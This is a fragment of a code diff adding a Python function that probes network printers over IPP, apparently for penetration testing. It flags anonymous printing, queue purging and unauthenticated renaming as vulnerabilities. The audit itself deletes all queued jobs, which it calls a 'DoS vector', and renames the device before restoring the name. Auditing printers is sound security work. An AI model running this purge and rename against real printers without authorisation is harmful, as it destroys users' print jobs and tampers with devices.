|
536
|
+
'can_sleep': None,
|
|
537
|
+
'can_identify': None,
|
|
538
|
+
'risk': [],
|
|
539
|
+
}
|
|
540
|
+
|
|
541
|
+
# Discover endpoints
|
|
542
|
+
eps = discover_endpoints(host, timeout)
|
|
543
|
+
results['endpoints'] = eps
|
|
544
|
+
if not eps:
|
|
545
|
+
if verbose:
|
|
546
|
+
print(" [IPP] No responsive IPP endpoint found")
|
|
547
|
+
return results
|
|
548
|
+
|
|
549
|
+
ep = eps[0]
|
|
550
|
+
port, path, scheme = ep['port'], ep['path'], ep['scheme']
|
|
551
|
+
|
|
552
|
+
if verbose:
|
|
553
|
+
print(f" [IPP] Endpoint: {ep['uri']} auth={ep['auth']}")
|
|
554
|
+
|
|
555
|
+
# Printer info
|
|
556
|
+
info = get_printer_info(host, port, path, scheme, timeout)
|
|
557
|
+
results['printer_info'] = info
|
|
558
|
+
if verbose and info:
|
|
559
|
+
for k, v in list(info.items())[:6]:
|
|
560
|
+
print(f" [IPP] {k}: {v[:60]}")
|
|
561
|
+
|
|
562
|
+
# List jobs
|
|
563
|
+
jobs = list_jobs(host, port, path, scheme, 'all', timeout)
|
|
564
|
+
results['jobs'] = jobs
|
|
565
|
+
if verbose:
|
|
566
|
+
print(f" [IPP] Queued jobs: {len(jobs)}")
|
|
567
|
+
|
|
568
|
+
# Anonymous job submission (dry run)
|
|
569
|
+
job_res = submit_job(host, port, path, scheme,
|
|
570
|
+
doc_fmt='image/pwg-raster', job_name='pentest-audit',
|
|
571
|
+
dry_run=True, timeout=timeout)
|
|
572
|
+
results['anon_print'] = job_res
|
|
573
|
+
if job_res['accepted']:
|
|
574
|
+
results['risk'].append('ANONYMOUS_PRINT_ACCEPTED')
|
|
575
|
+
if verbose:
|
|
576
|
+
print(f" [IPP] \033[1;31m[VULN]\033[0m Anonymous job accepted! {job_res['message']}")
|
|
577
|
+
elif job_res['auth_required']:
|
|
578
|
+
if verbose:
|
|
579
|
+
print(f" [IPP] Auth required — anonymous print blocked")
|
|
580
|
+
else:
|
|
581
|
+
if verbose:
|
|
582
|
+
print(f" [IPP] Job submit: {job_res['message']}")
|
|
583
|
+
|
|
584
|
+
# Purge-Jobs
|
|
585
|
+
purge = purge_all_jobs(host, port, path, scheme, timeout)
|
|
586
|
+
results['can_purge'] = purge['success']
|
|
587
|
+
if purge['success']:
|
|
588
|
+
results['risk'].append('CAN_PURGE_QUEUE')
|
|
589
|
+
if verbose:
|
|
590
|
+
print(f" [IPP] \033[1;31m[VULN]\033[0m Purge-Jobs accepted (DoS vector)")
|
|
591
|
+
|
|
592
|
+
# Rename (attribute manipulation)
|
|
593
|
+
can_rename = set_printer_name(host, '_test_rename_', port, path, scheme, timeout)
|
|
594
|
+
results['can_rename'] = can_rename
|
|
595
|
+
if can_rename:
|
|
596
|
+
results['risk'].append('CAN_RENAME_PRINTER')
|
|
597
|
+
# Restore original name
|
|
598
|
+
orig_name = info.get('printer-name', 'Printer')[:50].strip('·').strip()
|
|
599
|
+
set_printer_name(host, orig_name or 'Printer', port, path, scheme, timeout)
|
|
600
|
+
if verbose:
|
|
601
|
+
print(f" [IPP] \033[1;31m[VULN]\033[0m Printer rename accepted (no auth)")
|
|
602
|
+
|
|
603
|
+
# Identify (flash)
|
|
604
|
+
can_id = identify_printer(host, port, path, scheme, timeout)
|
|
605
|
+
results['can_identify'] = can_id
|
|
606
|
+
if verbose and can_id:
|
|
607
|
+
print(f" [IPP] Identify-Printer (flash) accepted")
|
|
608
|
+
|
|
609
|
+
return results
|